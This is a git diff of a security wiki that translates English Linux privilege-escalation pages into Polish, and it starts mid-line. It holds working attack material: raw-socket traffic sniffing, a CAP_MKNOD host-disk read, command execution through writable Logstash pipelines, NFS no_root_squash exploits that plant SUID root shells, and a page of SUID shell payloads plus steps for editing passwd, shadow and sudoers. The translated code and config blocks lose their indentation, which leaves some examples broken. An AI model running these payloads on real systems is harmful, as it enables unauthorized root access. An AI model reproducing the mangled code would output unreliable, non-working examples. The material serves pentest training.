cap_net_raw+ep ``` +Zauważ, że jeśli **środowisko** przyznaje tę zdolność, możesz również użyć **`tcpdump`**, aby podsłuchiwać ruch. -Note that if the **environment** is giving this capability you could also use **`tcpdump`** to sniff traffic. - -**Example with binary 2** - -The following example is **`python2`** code that can be useful to intercept traffic of the "**lo**" (**localhost**) interface. The code is from the lab "_The Basics: CAP-NET_BIND + NET_RAW_" from [https://attackdefense.pentesteracademy.com/](https://attackdefense.pentesteracademy.com) +**Przykład z binarnym 2** +Poniższy przykład to kod **`python2`**, który może być przydatny do przechwytywania ruchu interfejsu "**lo**" (**localhost**). Kod pochodzi z laboratorium "_Podstawy: CAP-NET_BIND + NET_RAW_" z [https://attackdefense.pentesteracademy.com/](https://attackdefense.pentesteracademy.com) ```python import socket import struct @@ -1509,11 +1347,11 @@ import struct flags=["NS","CWR","ECE","URG","ACK","PSH","RST","SYN","FIN"] def getFlag(flag_value): - flag="" - for i in xrange(8,-1,-1): - if( flag_value & 1 < [!NOTE] -> Note that usually this immutable attribute is set and remove using: +> Zauważ, że zazwyczaj ten atrybut niezmienny jest ustawiany i usuwany za pomocą: > > ```bash > sudo chattr +i file.txt @@ -1607,47 +1440,46 @@ f.write('New content for the file\n') ## CAP_SYS_CHROOT -[**CAP_SYS_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) enables the execution of the `chroot(2)` system call, which can potentially allow for the escape from `chroot(2)` environments through known vulnerabilities: +[**CAP_SYS_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) umożliwia wykonanie wywołania systemowego `chroot(2)`, co potencjalnie pozwala na ucieczkę z środowisk `chroot(2)` poprzez znane luki: -- [How to break out from various chroot solutions](https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf) -- [chw00t: chroot escape tool](https://github.com/earthquake/chw00t/) +- [Jak wydostać się z różnych rozwiązań chroot](https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf) +- [chw00t: narzędzie do ucieczki z chroot](https://github.com/earthquake/chw00t/) ## CAP_SYS_BOOT -[**CAP_SYS_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) not only allows the execution of the `reboot(2)` system call for system restarts, including specific commands like `LINUX_REBOOT_CMD_RESTART2` tailored for certain hardware platforms, but it also enables the use of `kexec_load(2)` and, from Linux 3.17 onwards, `kexec_file_load(2)` for loading new or signed crash kernels respectively. +[**CAP_SYS_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) nie tylko pozwala na wykonanie wywołania systemowego `reboot(2)` w celu ponownego uruchomienia systemu, w tym specyficznych poleceń, takich jak `LINUX_REBOOT_CMD_RESTART2` dostosowanych do określonych platform sprzętowych, ale także umożliwia użycie `kexec_load(2)` i, od wersji Linux 3.17, `kexec_file_load(2)` do ładowania nowych lub podpisanych jąder awaryjnych. ## CAP_SYSLOG -[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) was separated from the broader **CAP_SYS_ADMIN** in Linux 2.6.37, specifically granting the ability to use the `syslog(2)` call. This capability enables the viewing of kernel addresses via `/proc` and similar interfaces when the `kptr_restrict` setting is at 1, which controls the exposure of kernel addresses. Since Linux 2.6.39, the default for `kptr_restrict` is 0, meaning kernel addresses are exposed, though many distributions set this to 1 (hide addresses except from uid 0) or 2 (always hide addresses) for security reasons. +[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) został oddzielony od szerszego **CAP_SYS_ADMIN** w Linux 2.6.37, przyznając konkretną możliwość użycia wywołania `syslog(2)`. Ta zdolność umożliwia przeglądanie adresów jądra za pośrednictwem `/proc` i podobnych interfejsów, gdy ustawienie `kptr_restrict` wynosi 1, co kontroluje ujawnianie adresów jądra. Od Linux 2.6.39 domyślna wartość dla `kptr_restrict` wynosi 0, co oznacza, że adresy jądra są ujawniane, chociaż wiele dystrybucji ustawia to na 1 (ukryj adresy z wyjątkiem uid 0) lub 2 (zawsze ukrywaj adresy) z powodów bezpieczeństwa. -Additionally, **CAP_SYSLOG** allows accessing `dmesg` output when `dmesg_restrict` is set to 1. Despite these changes, **CAP_SYS_ADMIN** retains the ability to perform `syslog` operations due to historical precedents. +Dodatkowo, **CAP_SYSLOG** pozwala na dostęp do wyjścia `dmesg`, gdy `dmesg_restrict` jest ustawione na 1. Pomimo tych zmian, **CAP_SYS_ADMIN** zachowuje możliwość wykonywania operacji `syslog` z powodu historycznych precedensów. ## CAP_MKNOD -[**CAP_MKNOD**](https://man7.org/linux/man-pages/man7/capabilities.7.html) extends the functionality of the `mknod` system call beyond creating regular files, FIFOs (named pipes), or UNIX domain sockets. It specifically allows for the creation of special files, which include: +[**CAP_MKNOD**](https://man7.org/linux/man-pages/man7/capabilities.7.html) rozszerza funkcjonalność wywołania systemowego `mknod` poza tworzenie zwykłych plików, FIFOs (nazwanych potoków) lub gniazd domeny UNIX. Specjalnie pozwala na tworzenie plików specjalnych, które obejmują: -- **S_IFCHR**: Character special files, which are devices like terminals. -- **S_IFBLK**: Block special files, which are devices like disks. +- **S_IFCHR**: Pliki specjalne znakowe, które są urządzeniami takimi jak terminale. +- **S_IFBLK**: Pliki specjalne blokowe, które są urządzeniami takimi jak dyski. -This capability is essential for processes that require the ability to create device files, facilitating direct hardware interaction through character or block devices. +Ta zdolność jest niezbędna dla procesów, które wymagają możliwości tworzenia plików urządzeń, ułatwiając bezpośrednią interakcję ze sprzętem za pośrednictwem urządzeń znakowych lub blokowych. -It is a default docker capability ([https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19](https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19)). +Jest to domyślna zdolność dockera ([https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19](https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19)). -This capability permits to do privilege escalations (through full disk read) on the host, under these conditions: +Ta zdolność pozwala na eskalację uprawnień (poprzez pełne odczyty dysku) na hoście, pod tymi warunkami: -1. Have initial access to the host (Unprivileged). -2. Have initial access to the container (Privileged (EUID 0), and effective `CAP_MKNOD`). -3. Host and container should share the same user namespace. +1. Mieć początkowy dostęp do hosta (bez uprawnień). +2. Mieć początkowy dostęp do kontenera (z uprawnieniami (EUID 0) i efektywnym `CAP_MKNOD`). +3. Host i kontener powinny dzielić tę samą przestrzeń nazw użytkowników. -**Steps to Create and Access a Block Device in a Container:** +**Kroki do utworzenia i uzyskania dostępu do urządzenia blokowego w kontenerze:** -1. **On the Host as a Standard User:** +1. **Na hoście jako standardowy użytkownik:** - - Determine your current user ID with `id`, e.g., `uid=1000(standarduser)`. - - Identify the target device, for example, `/dev/sdb`. - -2. **Inside the Container as `root`:** +- Określ swój aktualny identyfikator użytkownika za pomocą `id`, np. `uid=1000(standarduser)`. +- Zidentyfikuj docelowe urządzenie, na przykład `/dev/sdb`. +2. **Wewnątrz kontenera jako `root`:** ```bash # Create a block special file for the host device mknod /dev/sdb b 8 16 @@ -1658,9 +1490,7 @@ useradd -u 1000 standarduser # Switch to the newly created user su standarduser ``` - -3. **Back on the Host:** - +3. **Z powrotem na hoście:** ```bash # Locate the PID of the container process owned by "standarduser" # This is an illustrative example; actual command might vary @@ -1669,28 +1499,27 @@ ps aux | grep -i container_name | grep -i standarduser # Access the container's filesystem and the special block device head /proc/12345/root/dev/sdb ``` - -This approach allows the standard user to access and potentially read data from `/dev/sdb` through the container, exploiting shared user namespaces and permissions set on the device. +To podejście pozwala standardowemu użytkownikowi na dostęp i potencjalne odczytanie danych z `/dev/sdb` przez kontener, wykorzystując współdzielone przestrzenie nazw użytkowników i uprawnienia ustawione na urządzeniu. ### CAP_SETPCAP -**CAP_SETPCAP** enables a process to **alter the capability sets** of another process, allowing for the addition or removal of capabilities from the effective, inheritable, and permitted sets. However, a process can only modify capabilities that it possesses in its own permitted set, ensuring it cannot elevate another process's privileges beyond its own. Recent kernel updates have tightened these rules, restricting `CAP_SETPCAP` to only diminish the capabilities within its own or its descendants' permitted sets, aiming to mitigate security risks. Usage requires having `CAP_SETPCAP` in the effective set and the target capabilities in the permitted set, utilizing `capset()` for modifications. This summarizes the core function and limitations of `CAP_SETPCAP`, highlighting its role in privilege management and security enhancement. +**CAP_SETPCAP** umożliwia procesowi **zmianę zestawów uprawnień** innego procesu, co pozwala na dodawanie lub usuwanie uprawnień z zestawów efektywnych, dziedzicznych i dozwolonych. Jednak proces może modyfikować tylko te uprawnienia, które posiada w swoim własnym dozwolonym zestawie, co zapewnia, że nie może podnieść uprawnień innego procesu ponad swoje własne. Ostatnie aktualizacje jądra zaostrzyły te zasady, ograniczając `CAP_SETPCAP` do jedynie zmniejszania uprawnień w swoim własnym lub dozwolonym zestawie jego potomków, mając na celu złagodzenie ryzyk bezpieczeństwa. Użycie wymaga posiadania `CAP_SETPCAP` w zestawie efektywnym oraz docelowych uprawnień w zestawie dozwolonym, wykorzystując `capset()` do modyfikacji. To podsumowuje podstawową funkcję i ograniczenia `CAP_SETPCAP`, podkreślając jego rolę w zarządzaniu uprawnieniami i poprawie bezpieczeństwa. -**`CAP_SETPCAP`** is a Linux capability that allows a process to **modify the capability sets of another process**. It grants the ability to add or remove capabilities from the effective, inheritable, and permitted capability sets of other processes. However, there are certain restrictions on how this capability can be used. +**`CAP_SETPCAP`** to uprawnienie w systemie Linux, które pozwala procesowi na **modyfikację zestawów uprawnień innego procesu**. Daje możliwość dodawania lub usuwania uprawnień z efektywnych, dziedzicznych i dozwolonych zestawów uprawnień innych procesów. Jednak istnieją pewne ograniczenia dotyczące tego, jak to uprawnienie może być używane. -A process with `CAP_SETPCAP` **can only grant or remove capabilities that are in its own permitted capability set**. In other words, a process cannot grant a capability to another process if it does not have that capability itself. This restriction prevents a process from elevating the privileges of another process beyond its own level of privilege. +Proces z `CAP_SETPCAP` **może jedynie przyznawać lub usuwać uprawnienia, które znajdują się w jego własnym dozwolonym zestawie uprawnień**. Innymi słowy, proces nie może przyznać uprawnienia innemu procesowi, jeśli sam go nie posiada. To ograniczenie zapobiega podnoszeniu uprawnień innego procesu ponad własny poziom uprawnień. -Moreover, in recent kernel versions, the `CAP_SETPCAP` capability has been **further restricted**. It no longer allows a process to arbitrarily modify the capability sets of other processes. Instead, it **only allows a process to lower the capabilities in its own permitted capability set or the permitted capability set of its descendants**. This change was introduced to reduce potential security risks associated with the capability. +Ponadto, w ostatnich wersjach jądra, uprawnienie `CAP_SETPCAP` zostało **dodatkowo ograniczone**. Nie pozwala już procesowi na dowolną modyfikację zestawów uprawnień innych procesów. Zamiast tego **pozwala jedynie procesowi na obniżenie uprawnień w swoim własnym dozwolonym zestawie uprawnień lub w dozwolonym zestawie uprawnień jego potomków**. Ta zmiana została wprowadzona w celu zmniejszenia potencjalnych ryzyk bezpieczeństwa związanych z tym uprawnieniem. -To use `CAP_SETPCAP` effectively, you need to have the capability in your effective capability set and the target capabilities in your permitted capability set. You can then use the `capset()` system call to modify the capability sets of other processes. +Aby skutecznie używać `CAP_SETPCAP`, musisz mieć to uprawnienie w swoim efektywnym zestawie uprawnień oraz docelowe uprawnienia w swoim dozwolonym zestawie uprawnień. Możesz następnie użyć wywołania systemowego `capset()`, aby modyfikować zestawy uprawnień innych procesów. -In summary, `CAP_SETPCAP` allows a process to modify the capability sets of other processes, but it cannot grant capabilities that it doesn't have itself. Additionally, due to security concerns, its functionality has been limited in recent kernel versions to only allow reducing capabilities in its own permitted capability set or the permitted capability sets of its descendants. +Podsumowując, `CAP_SETPCAP` pozwala procesowi na modyfikację zestawów uprawnień innych procesów, ale nie może przyznawać uprawnień, których sam nie posiada. Dodatkowo, z powodu obaw o bezpieczeństwo, jego funkcjonalność została ograniczona w ostatnich wersjach jądra do jedynie obniżania uprawnień w swoim własnym dozwolonym zestawie uprawnień lub w dozwolonych zestawach uprawnień jego potomków. ## References -**Most of these examples were taken from some labs of** [**https://attackdefense.pentesteracademy.com/**](https://attackdefense.pentesteracademy.com), so if you want to practice this privesc techniques I recommend these labs. +**Większość tych przykładów pochodzi z niektórych laboratoriów** [**https://attackdefense.pentesteracademy.com/**](https://attackdefense.pentesteracademy.com), więc jeśli chcesz ćwiczyć te techniki privesc, polecam te laboratoria. -**Other references**: +**Inne odniesienia**: - [https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux](https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux) - [https://www.schutzwerk.com/en/43/posts/linux_container_capabilities/#:\~:text=Inherited%20capabilities%3A%20A%20process%20can,a%20binary%2C%20e.g.%20using%20setcap%20.](https://www.schutzwerk.com/en/43/posts/linux_container_capabilities/) @@ -1700,10 +1529,4 @@ In summary, `CAP_SETPCAP` allows a process to modify the capability sets of othe - [https://labs.withsecure.com/publications/abusing-the-access-to-mount-namespaces-through-procpidroot](https://labs.withsecure.com/publications/abusing-the-access-to-mount-namespaces-through-procpidroot) ​ - -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/logstash.md b/src/linux-hardening/privilege-escalation/logstash.md index fe091391a..3a37526f2 100644 --- a/src/linux-hardening/privilege-escalation/logstash.md +++ b/src/linux-hardening/privilege-escalation/logstash.md @@ -2,59 +2,55 @@ ## Logstash -Logstash is used to **gather, transform, and dispatch logs** through a system known as **pipelines**. These pipelines are made up of **input**, **filter**, and **output** stages. An interesting aspect arises when Logstash operates on a compromised machine. +Logstash jest używany do **zbierania, przekształcania i wysyłania logów** przez system znany jako **pipelines**. Te pipelines składają się z etapów **input**, **filter** i **output**. Interesujący aspekt pojawia się, gdy Logstash działa na skompromitowanej maszynie. ### Pipeline Configuration -Pipelines are configured in the file **/etc/logstash/pipelines.yml**, which lists the locations of the pipeline configurations: - +Pipelines są konfigurowane w pliku **/etc/logstash/pipelines.yml**, który wymienia lokalizacje konfiguracji pipelines: ```yaml # Define your pipelines here. Multiple pipelines can be defined. # For details on multiple pipelines, refer to the documentation: # https://www.elastic.co/guide/en/logstash/current/multiple-pipelines.html - pipeline.id: main - path.config: "/etc/logstash/conf.d/*.conf" +path.config: "/etc/logstash/conf.d/*.conf" - pipeline.id: example - path.config: "/usr/share/logstash/pipeline/1*.conf" - pipeline.workers: 6 +path.config: "/usr/share/logstash/pipeline/1*.conf" +pipeline.workers: 6 ``` +Ten plik ujawnia, gdzie znajdują się pliki **.conf**, zawierające konfiguracje potoków. Przy użyciu **modułu wyjściowego Elasticsearch**, powszechnie zdarza się, że **potoki** zawierają **poświadczenia Elasticsearch**, które często mają szerokie uprawnienia z powodu potrzeby Logstasha do zapisywania danych w Elasticsearch. Znaki wieloznaczne w ścieżkach konfiguracji pozwalają Logstashowi na wykonanie wszystkich pasujących potoków w wyznaczonym katalogu. -This file reveals where the **.conf** files, containing pipeline configurations, are located. When employing an **Elasticsearch output module**, it's common for **pipelines** to include **Elasticsearch credentials**, which often possess extensive privileges due to Logstash's need to write data to Elasticsearch. Wildcards in configuration paths allow Logstash to execute all matching pipelines in the designated directory. +### Eskalacja uprawnień za pomocą zapisywalnych potoków -### Privilege Escalation via Writable Pipelines +Aby spróbować eskalacji uprawnień, najpierw zidentyfikuj użytkownika, pod którym działa usługa Logstash, zazwyczaj użytkownika **logstash**. Upewnij się, że spełniasz **jedno** z tych kryteriów: -To attempt privilege escalation, first identify the user under which the Logstash service is running, typically the **logstash** user. Ensure you meet **one** of these criteria: +- Posiadasz **dostęp do zapisu** do pliku potoku **.conf** **lub** +- Plik **/etc/logstash/pipelines.yml** używa znaku wieloznacznego, a ty możesz zapisywać w docelowym folderze -- Possess **write access** to a pipeline **.conf** file **or** -- The **/etc/logstash/pipelines.yml** file uses a wildcard, and you can write to the target folder +Dodatkowo, **jedno** z tych warunków musi być spełnione: -Additionally, **one** of these conditions must be fulfilled: - -- Capability to restart the Logstash service **or** -- The **/etc/logstash/logstash.yml** file has **config.reload.automatic: true** set - -Given a wildcard in the configuration, creating a file that matches this wildcard allows for command execution. For instance: +- Możliwość ponownego uruchomienia usługi Logstash **lub** +- Plik **/etc/logstash/logstash.yml** ma ustawione **config.reload.automatic: true** +Mając znak wieloznaczny w konfiguracji, stworzenie pliku, który pasuje do tego znaku, pozwala na wykonanie polecenia. Na przykład: ```bash input { - exec { - command => "whoami" - interval => 120 - } +exec { +command => "whoami" +interval => 120 +} } output { - file { - path => "/tmp/output.log" - codec => rubydebug - } +file { +path => "/tmp/output.log" +codec => rubydebug +} } ``` +Tutaj **interval** określa częstotliwość wykonywania w sekundach. W podanym przykładzie polecenie **whoami** jest uruchamiane co 120 sekund, a jego wyjście jest kierowane do **/tmp/output.log**. -Here, **interval** determines the execution frequency in seconds. In the given example, the **whoami** command runs every 120 seconds, with its output directed to **/tmp/output.log**. - -With **config.reload.automatic: true** in **/etc/logstash/logstash.yml**, Logstash will automatically detect and apply new or modified pipeline configurations without needing a restart. If there's no wildcard, modifications can still be made to existing configurations, but caution is advised to avoid disruptions. +Dzięki **config.reload.automatic: true** w **/etc/logstash/logstash.yml**, Logstash automatycznie wykryje i zastosuje nowe lub zmodyfikowane konfiguracje potoków bez potrzeby ponownego uruchamiania. Jeśli nie ma znaku wieloznacznego, modyfikacje mogą być nadal wprowadzane do istniejących konfiguracji, ale zaleca się ostrożność, aby uniknąć zakłóceń. ## References diff --git a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md index 679d2a521..91c918d9b 100644 --- a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md +++ b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md @@ -1,19 +1,18 @@ {{#include ../../banners/hacktricks-training.md}} -Read the _ **/etc/exports** _ file, if you find some directory that is configured as **no_root_squash**, then you can **access** it from **as a client** and **write inside** that directory **as** if you were the local **root** of the machine. +Przeczytaj plik _ **/etc/exports** _, jeśli znajdziesz jakiś katalog skonfigurowany jako **no_root_squash**, wtedy możesz **uzyskać dostęp** do niego **jako klient** i **zapisać w** tym katalogu **jakbyś był** lokalnym **rootem** maszyny. -**no_root_squash**: This option basically gives authority to the root user on the client to access files on the NFS server as root. And this can lead to serious security implications. +**no_root_squash**: Ta opcja zasadniczo daje uprawnienia użytkownikowi root na kliencie do dostępu do plików na serwerze NFS jako root. Może to prowadzić do poważnych implikacji bezpieczeństwa. -**no_all_squash:** This is similar to **no_root_squash** option but applies to **non-root users**. Imagine, you have a shell as nobody user; checked /etc/exports file; no_all_squash option is present; check /etc/passwd file; emulate a non-root user; create a suid file as that user (by mounting using nfs). Execute the suid as nobody user and become different user. +**no_all_squash:** To jest podobne do opcji **no_root_squash**, ale dotyczy **użytkowników niebędących rootem**. Wyobraź sobie, że masz powłokę jako użytkownik nobody; sprawdziłeś plik /etc/exports; opcja no_all_squash jest obecna; sprawdź plik /etc/passwd; emuluj użytkownika niebędącego rootem; utwórz plik suid jako ten użytkownik (montując za pomocą nfs). Wykonaj suid jako użytkownik nobody i stań się innym użytkownikiem. -# Privilege Escalation +# Eskalacja uprawnień -## Remote Exploit +## Zdalny exploit -If you have found this vulnerability, you can exploit it: - -- **Mounting that directory** in a client machine, and **as root copying** inside the mounted folder the **/bin/bash** binary and giving it **SUID** rights, and **executing from the victim** machine that bash binary. +Jeśli znalazłeś tę lukę, możesz ją wykorzystać: +- **Zamontowanie tego katalogu** na maszynie klienckiej i **jako root skopiowanie** do zamontowanego folderu binarnego **/bin/bash** i nadanie mu praw **SUID**, a następnie **wykonanie z maszyny ofiary** tego binarnego bash. ```bash #Attacker, as root user mkdir /tmp/pe @@ -26,9 +25,7 @@ chmod +s bash cd ./bash -p #ROOT shell ``` - -- **Mounting that directory** in a client machine, and **as root copying** inside the mounted folder our come compiled payload that will abuse the SUID permission, give to it **SUID** rights, and **execute from the victim** machine that binary (you can find here some[ C SUID payloads](payloads-to-execute.md#c)). - +- **Zamontowanie tego katalogu** na maszynie klienckiej, a następnie **jako root skopiowanie** do zamontowanego folderu naszego skompilowanego ładunku, który wykorzysta uprawnienia SUID, nadanie mu **praw SUID** i **wykonanie z maszyny ofiary** tego binarnego pliku (możesz znaleźć tutaj kilka [ładunków C SUID](payloads-to-execute.md#c)). ```bash #Attacker, as root user gcc payload.c -o payload @@ -42,61 +39,57 @@ chmod +s payload cd ./payload #ROOT shell ``` - ## Local Exploit > [!NOTE] -> Note that if you can create a **tunnel from your machine to the victim machine you can still use the Remote version to exploit this privilege escalation tunnelling the required ports**.\ -> The following trick is in case the file `/etc/exports` **indicates an IP**. In this case you **won't be able to use** in any case the **remote exploit** and you will need to **abuse this trick**.\ -> Another required requirement for the exploit to work is that **the export inside `/etc/export`** **must be using the `insecure` flag**.\ -> --_I'm not sure that if `/etc/export` is indicating an IP address this trick will work_-- +> Zauważ, że jeśli możesz stworzyć **tunel z twojej maszyny do maszyny ofiary, nadal możesz użyć wersji zdalnej, aby wykorzystać tę eskalację uprawnień, tunelując wymagane porty**.\ +> Następujący trik dotyczy sytuacji, gdy plik `/etc/exports` **wskazuje na adres IP**. W takim przypadku **nie będziesz mógł użyć** w żadnym przypadku **eksploatu zdalnego** i będziesz musiał **wykorzystać ten trik**.\ +> Innym wymaganym warunkiem, aby eksploatacja działała, jest to, że **eksport w `/etc/export`** **musi używać flagi `insecure`**.\ +> --_Nie jestem pewien, czy jeśli `/etc/export` wskazuje na adres IP, ten trik zadziała_-- ## Basic Information -The scenario involves exploiting a mounted NFS share on a local machine, leveraging a flaw in the NFSv3 specification which allows the client to specify its uid/gid, potentially enabling unauthorized access. The exploitation involves using [libnfs](https://github.com/sahlberg/libnfs), a library that allows for the forging of NFS RPC calls. +Scenariusz polega na wykorzystaniu zamontowanego udziału NFS na lokalnej maszynie, wykorzystując lukę w specyfikacji NFSv3, która pozwala klientowi określić swój uid/gid, co potencjalnie umożliwia nieautoryzowany dostęp. Eksploatacja polega na użyciu [libnfs](https://github.com/sahlberg/libnfs), biblioteki, która umożliwia fałszowanie wywołań RPC NFS. ### Compiling the Library -The library compilation steps might require adjustments based on the kernel version. In this specific case, the fallocate syscalls were commented out. The compilation process involves the following commands: - +Kroki kompilacji biblioteki mogą wymagać dostosowań w zależności od wersji jądra. W tym konkretnym przypadku wywołania syscalls fallocate zostały zakomentowane. Proces kompilacji obejmuje następujące polecenia: ```bash ./bootstrap ./configure make gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/ ``` +### Przeprowadzanie Eksploitu -### Conducting the Exploit +Eksploit polega na stworzeniu prostego programu C (`pwn.c`), który podnosi uprawnienia do roota, a następnie uruchamia powłokę. Program jest kompilowany, a wynikowy plik binarny (`a.out`) jest umieszczany na udostępnionym zasobie z suid root, używając `ld_nfs.so` do fałszowania uid w wywołaniach RPC: -The exploit involves creating a simple C program (`pwn.c`) that elevates privileges to root and then executing a shell. The program is compiled, and the resulting binary (`a.out`) is placed on the share with suid root, using `ld_nfs.so` to fake the uid in the RPC calls: +1. **Skompiluj kod eksploitu:** -1. **Compile the exploit code:** +```bash +cat pwn.c +int main(void){setreuid(0,0); system("/bin/bash"); return 0;} +gcc pwn.c -o a.out +``` - ```bash - cat pwn.c - int main(void){setreuid(0,0); system("/bin/bash"); return 0;} - gcc pwn.c -o a.out - ``` +2. **Umieść exploit na udostępnionym zasobie i zmodyfikuj jego uprawnienia, fałszując uid:** -2. **Place the exploit on the share and modify its permissions by faking the uid:** +```bash +LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/ +LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out +LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out +LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out +``` - ```bash - LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/ - LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out - LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out - LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out - ``` +3. **Wykonaj exploit, aby uzyskać uprawnienia roota:** +```bash +/mnt/share/a.out +#root +``` -3. **Execute the exploit to gain root privileges:** - ```bash - /mnt/share/a.out - #root - ``` - -## Bonus: NFShell for Stealthy File Access - -Once root access is obtained, to interact with the NFS share without changing ownership (to avoid leaving traces), a Python script (nfsh.py) is used. This script adjusts the uid to match that of the file being accessed, allowing for interaction with files on the share without permission issues: +## Bonus: NFShell dla Dyskretnego Dostępu do Plików +Po uzyskaniu dostępu roota, aby interagować z udostępnionym zasobem NFS bez zmiany właściciela (aby uniknąć pozostawiania śladów), używany jest skrypt Pythona (nfsh.py). Skrypt ten dostosowuje uid, aby odpowiadał uid pliku, do którego uzyskuje się dostęp, co pozwala na interakcję z plikami na udostępnionym zasobie bez problemów z uprawnieniami: ```python #!/usr/bin/env python # script from https://www.errno.fr/nfs_privesc.html @@ -104,23 +97,20 @@ import sys import os def get_file_uid(filepath): - try: - uid = os.stat(filepath).st_uid - except OSError as e: - return get_file_uid(os.path.dirname(filepath)) - return uid +try: +uid = os.stat(filepath).st_uid +except OSError as e: +return get_file_uid(os.path.dirname(filepath)) +return uid filepath = sys.argv[-1] uid = get_file_uid(filepath) os.setreuid(uid, uid) os.system(' '.join(sys.argv[1:])) ``` - -Run like: - +Uruchom jak: ```bash # ll ./mount/ drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/payloads-to-execute.md b/src/linux-hardening/privilege-escalation/payloads-to-execute.md index 37626a2de..51def08e4 100644 --- a/src/linux-hardening/privilege-escalation/payloads-to-execute.md +++ b/src/linux-hardening/privilege-escalation/payloads-to-execute.md @@ -1,22 +1,19 @@ -# Payloads to execute +# Payloads do wykonania {{#include ../../banners/hacktricks-training.md}} ## Bash - ```bash cp /bin/bash /tmp/b && chmod +s /tmp/b /bin/b -p #Maintains root privileges from suid, working in debian & buntu ``` - ## C - ```c //gcc payload.c -o payload int main(void){ - setresuid(0, 0, 0); //Set as user suid user - system("/bin/sh"); - return 0; +setresuid(0, 0, 0); //Set as user suid user +system("/bin/sh"); +return 0; } ``` @@ -27,9 +24,9 @@ int main(void){ #include int main(){ - setuid(getuid()); - system("/bin/bash"); - return 0; +setuid(getuid()); +system("/bin/bash"); +return 0; } ``` @@ -40,42 +37,38 @@ int main(){ #include int main(void) { - char *const paramList[10] = {"/bin/bash", "-p", NULL}; - const int id = 1000; - setresuid(id, id, id); - execve(paramList[0], paramList, NULL); - return 0; +char *const paramList[10] = {"/bin/bash", "-p", NULL}; +const int id = 1000; +setresuid(id, id, id); +execve(paramList[0], paramList, NULL); +return 0; } ``` +## Nadpisywanie pliku w celu eskalacji uprawnień -## Overwriting a file to escalate privileges +### Wspólne pliki -### Common files +- Dodaj użytkownika z hasłem do _/etc/passwd_ +- Zmień hasło w _/etc/shadow_ +- Dodaj użytkownika do sudoers w _/etc/sudoers_ +- Wykorzystaj docker przez gniazdo docker, zazwyczaj w _/run/docker.sock_ lub _/var/run/docker.sock_ -- Add user with password to _/etc/passwd_ -- Change password inside _/etc/shadow_ -- Add user to sudoers in _/etc/sudoers_ -- Abuse docker through the docker socket, usually in _/run/docker.sock_ or _/var/run/docker.sock_ - -### Overwriting a library - -Check a library used by some binary, in this case `/bin/su`: +### Nadpisywanie biblioteki +Sprawdź bibliotekę używaną przez jakiś binarny plik, w tym przypadku `/bin/su`: ```bash ldd /bin/su - linux-vdso.so.1 (0x00007ffef06e9000) - libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000) - libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000) - libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000) - libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000) - libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000) - libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000) - /lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000) +linux-vdso.so.1 (0x00007ffef06e9000) +libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000) +libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000) +libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000) +libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000) 